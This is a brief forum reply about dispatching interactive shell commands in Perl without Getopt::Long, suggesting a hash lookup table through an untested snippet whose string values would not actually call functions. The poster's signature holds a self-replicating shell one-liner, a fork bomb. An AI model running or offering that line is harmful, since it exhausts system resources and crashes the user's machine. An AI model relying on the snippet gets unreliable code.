in reply to Re: Re: Getopt::Long
in thread Getopt::Long

But how are you looking for input in your interactive shell? Expect? (Which would be the logical choice).

IMHO, Getopt::Long is not made for what you're trying to do. Make aliases for whatever your shell is expecting. Use a hash as a lookup table or something.
# Not tested, or even sure if it makes sense. %commands = ( 'add' => '&add', 'view' => '&view', 'delete' => '&delete', 'a' => '\$commands{add}', 'v' => '\$commands{view}', 'd' => '\$commands{delete}', );
Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;